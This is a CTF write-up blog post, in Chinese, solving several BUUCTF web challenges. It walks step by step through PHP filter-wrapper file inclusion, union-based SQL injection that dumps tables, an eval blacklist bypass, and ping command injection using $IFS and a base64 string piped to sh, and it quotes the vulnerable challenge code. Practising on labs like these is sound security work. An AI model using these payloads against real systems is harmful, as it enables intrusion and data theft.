BUUCTF_WEB_20200916

WEB-Secret File

考点:php伪协议、文件包含

1.F12刺探一波,发现存在有个路径href="./Archive_room.php",然后输入到url中查看,发现有个SECRET

点进去查看后,发现已经查阅结束,这里应该是想让我们抓包看看

我们开始抓包,果不其然,露出来应该小宝贝 secr3t.php

继续查看,加上secr3t.php后返回以下内容

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ //stristr() 函数搜索字符串在另一字符串中的第一次出现。
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

接下来开始分析代码

尝试构造payload:http://a7d5aa72-5523-4d59-9706-dfbe4911c08c.node3.buuoj.cn/secr3t.php/../../flag.php返回

传入的file经过了一些过滤,但是没有过滤filter,我们可以用php://fileter来获取文件。构造url:http://a7d5aa72-5523-4d59-9706-dfbe4911c08c.node3.buuoj.cn/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

最后进行base64解码得到flag $flag = 'flag{b165ded0-340e-4ccb-a595-f3e364e4bb3e}';

flag

flag{b165ded0-340e-4ccb-a595-f3e364e4bb3e}

WEB-Include

考点:php伪协议、文件包含

点击进去页面,打开tips进行查看

http://9b30a2a1-d262-4103-bed1-77c49d75b3ba.node3.buuoj.cn/?file=flag.php看到这个形式,应该是跟伪协议有关,来构造一波

构造payload:http://9b30a2a1-d262-4103-bed1-77c49d75b3ba.node3.buuoj.cn/?file=php://filter/convert.base64-encode/resource=flag.php

得到一串base64加密的PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7OTI1MjJkZmItN2MyYi00NDgyLTkwMzktZTgxNjdjZjYzYTI2fQo=,来解密一波

得到flag

flag

flag{92522dfb-7c2b-4482-9039-e8167cf63a26}

WEB-LoveSQL

考点:sql注入

打开页面,有丝熟悉,还是之前的登陆页面,先用admin/admin登一下,返回错误的用户名密码

接下来我们检测是否存在sql注入username=admin&password=admin'


万能密码了一波后http://d22a226c-f83e-4c39-a5e0-1ae487450e9e.node3.buuoj.cn/check.php?username=admin&password=admin%27%20or%20%271%27=%271

他告诉了我们密码但是好像木有什么用,接下来我们尝试爆破字段数,当输入4时报错,payload:http://d22a226c-f83e-4c39-a5e0-1ae487450e9e.node3.buuoj.cn/check.php?username=admin' order by 4%23&password=1,说明字段数为4

接下来用union查询测试注入点,username=1' union select 1,2,3%23&password=1,得到回显点位2和3


接着爆破数据库:username=1'union select 1,database(),version()%23&password=1

得到数据库名字为geek,接下来爆破表名username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

得到两个表名为geekuser,l0ve1ysq1,接下来爆破字段http://d22a226c-f83e-4c39-a5e0-1ae487450e9e.node3.buuoj.cn/check.php?username=1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27geekuser%27%23&password=1

最后爆破用户账号密码,geekuser表如下

l0ve1ysq1表数据如下:然后拿到flag

Your password is '1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{014aac06-c7db-492d-9191-da8823904dc8}'

flag

flag{014aac06-c7db-492d-9191-da8823904dc8}

WEB-Easy Calc

考点:

F12获得两条信息I've set up WAF to ensure security.还有


    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })

这里有一个重点是,我们要搞清楚$("#content").val()的含义,是获取id为content的HTML标签元素的值, ("#content")相当于document.getElementById("content");

然后我们查看计算器源代码http://node3.buuoj.cn:26438/calc.php,这里设置了黑名单

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) { //preg_match — 执行匹配正则表达式
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 

存在过滤,不能传递字母变量,利用php解析特性,将“num”换为“ num”。再将chr转换为ascll进行绕过。由于查看目录,构造? num=1;var_dump(scandir(chr(47)))

1array(24) {
  [0]=>
  string(1) "."
  [1]=>
  string(2) ".."
  [2]=>
  string(10) ".dockerenv"
  [3]=>
  string(3) "bin"
  [4]=>
  string(4) "boot"
  [5]=>
  string(3) "dev"
  [6]=>
  string(3) "etc"
  [7]=>
  string(5) "f1agg"
  [8]=>
  string(4) "home"
  [9]=>
  string(3) "lib"
  [10]=>
  string(5) "lib64"
  [11]=>
  string(5) "media"
  [12]=>
  string(3) "mnt"
  [13]=>
  string(3) "opt"
  [14]=>
  string(4) "proc"
  [15]=>
  string(4) "root"
  [16]=>
  string(3) "run"
  [17]=>
  string(4) "sbin"
  [18]=>
  string(3) "srv"
  [19]=>
  string(8) "start.sh"
  [20]=>
  string(3) "sys"
  [21]=>
  string(3) "tmp"
  [22]=>
  string(3) "usr"
  [23]=>
  string(3) "var"
}

返回后看到一个敏感的[7]=>string(5) "f1agg"存在flaag(f1agg对应ascil码值自己上网查)构造? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))得到flag

(ps:单斜杠/,跳转到整个网站根目录下的,file_get_contents 将整个文件读入一个字符串)

flag

flag{562ef2f0-3bef-4161-9785-87d17441adc6}

WEB-Ping Ping Ping

考点:命令执行、绕过

拿到这道题后得知是get型传参,先输入127.0.0.1,回显正常,这里首先猜测可能要考大家命令执行,所以尝试?ip=127.0.0.1 | ls,结果碰壁了,可能是对|设置了过滤

我们多换几种方法


最后还是被找到了,一个是flag.php,另一个是index.php

然后查看一下这两个文件,?ip=127.0.0.1;cat index.php然后又被fxck了。此处应该是对空格做了过滤,这里可以用$IFS和$IFS$9来绕过空格过滤,来构造payload:http://a113b581-d61e-42ca-829f-576f7a82443b.node3.buuoj.cn/?ip=127.0.0.1;cat$IFS$9index.php

PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>

这里显示了过滤的内容,可见这里对可以看到过滤了&,/,?,*,<,>,\x{00}-\x{1f},',",\,(,),[,],{,},空格,bash,flag做了过滤

; 前面的执行完执行后面的
| 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)
|| 当前面的执行出错时(为假)执行后面的
& 将任务置于后台执行
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a (换行)
%0d (回车)

接下来我们想办法构造一下查看flag.php的语句:/?ip=127.0.0.1;b=a;cat$IFS$9fl$bg.php 尝试换值绕过,但是木有成功最后构造echo的payload:http://a113b581-d61e-42ca-829f-576f7a82443b.node3.buuoj.cn/?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh构造完成后F12,拿到flag。(ps:Y2F0IGZsYWcucGhw是cat flag.php通过base64加密后所得)

flag

flag{e3090b04-0fdf-4280-bee1-01698e9d6f58}

WEB-Knife

考点:砍刀

白给那就赶紧连上,如果没猜错,flag应该就藏在里面


寻找flag

posted @ 2020-09-16 22:11  WANGXIN_YU  阅读(419)  评论(0)    收藏  举报